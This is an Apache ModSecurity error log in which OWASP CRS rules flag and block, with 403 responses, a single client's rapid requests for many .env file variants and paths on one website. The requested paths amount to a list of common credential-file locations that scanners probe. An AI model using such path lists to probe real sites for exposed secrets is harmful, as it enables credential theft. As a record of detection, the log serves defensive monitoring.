[Sun Oct 25 05:08:03.839315 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at3G88AclEqdWzgpj08wLAAAAAc"]
[Sun Oct 25 05:08:03.947229 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at3G88AclEqdWzgpj08wLQAAAAc"]
[Sun Oct 25 05:08:03.947480 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at3G88AclEqdWzgpj08wLQAAAAc"]
[Sun Oct 25 05:08:03.947800 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at3G88AclEqdWzgpj08wLQAAAAc"]
[Sun Oct 25 05:08:04.052275 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at3G9MAclEqdWzgpj08wLgAAAAc"]
[Sun Oct 25 05:08:04.052586 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at3G9MAclEqdWzgpj08wLgAAAAc"]
[Sun Oct 25 05:08:04.052944 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at3G9MAclEqdWzgpj08wLgAAAAc"]
[Sun Oct 25 05:08:04.150780 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at3G9MAclEqdWzgpj08wLwAAAAc"]
[Sun Oct 25 05:08:04.151005 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at3G9MAclEqdWzgpj08wLwAAAAc"]
[Sun Oct 25 05:08:04.151276 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at3G9MAclEqdWzgpj08wLwAAAAc"]
[Sun Oct 25 05:08:04.247587 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at3G9MAclEqdWzgpj08wMAAAAAc"]
[Sun Oct 25 05:08:04.247869 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at3G9MAclEqdWzgpj08wMAAAAAc"]
[Sun Oct 25 05:08:04.248185 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at3G9MAclEqdWzgpj08wMAAAAAc"]
[Sun Oct 25 05:08:04.351986 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at3G9MAclEqdWzgpj08wMQAAAAc"]
[Sun Oct 25 05:08:04.352255 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at3G9MAclEqdWzgpj08wMQAAAAc"]
[Sun Oct 25 05:08:04.352631 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at3G9MAclEqdWzgpj08wMQAAAAc"]
[Sun Oct 25 05:08:04.444609 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at3G9MAclEqdWzgpj08wMgAAAAc"]
[Sun Oct 25 05:08:04.444925 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at3G9MAclEqdWzgpj08wMgAAAAc"]
[Sun Oct 25 05:08:04.445255 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at3G9MAclEqdWzgpj08wMgAAAAc"]
[Sun Oct 25 05:08:04.554029 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at3G9MAclEqdWzgpj08wMwAAAAc"]
[Sun Oct 25 05:08:04.554258 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at3G9MAclEqdWzgpj08wMwAAAAc"]
[Sun Oct 25 05:08:04.554607 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at3G9MAclEqdWzgpj08wMwAAAAc"]
[Sun Oct 25 05:08:04.675986 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at3G9MAclEqdWzgpj08wNAAAAAc"]
[Sun Oct 25 05:08:04.676222 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at3G9MAclEqdWzgpj08wNAAAAAc"]
[Sun Oct 25 05:08:04.676557 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at3G9MAclEqdWzgpj08wNAAAAAc"]
[Sun Oct 25 05:08:04.787028 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at3G9MAclEqdWzgpj08wNQAAAAc"]
[Sun Oct 25 05:08:04.787320 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at3G9MAclEqdWzgpj08wNQAAAAc"]
[Sun Oct 25 05:08:04.787696 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at3G9MAclEqdWzgpj08wNQAAAAc"]
[Sun Oct 25 05:08:04.912809 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at3G9MAclEqdWzgpj08wNgAAAAc"]
[Sun Oct 25 05:08:04.913045 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at3G9MAclEqdWzgpj08wNgAAAAc"]
[Sun Oct 25 05:08:04.913420 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at3G9MAclEqdWzgpj08wNgAAAAc"]
[Sun Oct 25 05:08:05.014340 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at3G9cAclEqdWzgpj08wNwAAAAc"]
[Sun Oct 25 05:08:05.014589 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at3G9cAclEqdWzgpj08wNwAAAAc"]
[Sun Oct 25 05:08:05.014890 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at3G9cAclEqdWzgpj08wNwAAAAc"]
[Sun Oct 25 05:08:05.139018 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at3G9cAclEqdWzgpj08wOAAAAAc"]
[Sun Oct 25 05:08:05.139249 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at3G9cAclEqdWzgpj08wOAAAAAc"]
[Sun Oct 25 05:08:05.139592 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at3G9cAclEqdWzgpj08wOAAAAAc"]
[Sun Oct 25 05:08:05.247112 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at3G9cAclEqdWzgpj08wOQAAAAc"]
[Sun Oct 25 05:08:05.247365 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at3G9cAclEqdWzgpj08wOQAAAAc"]
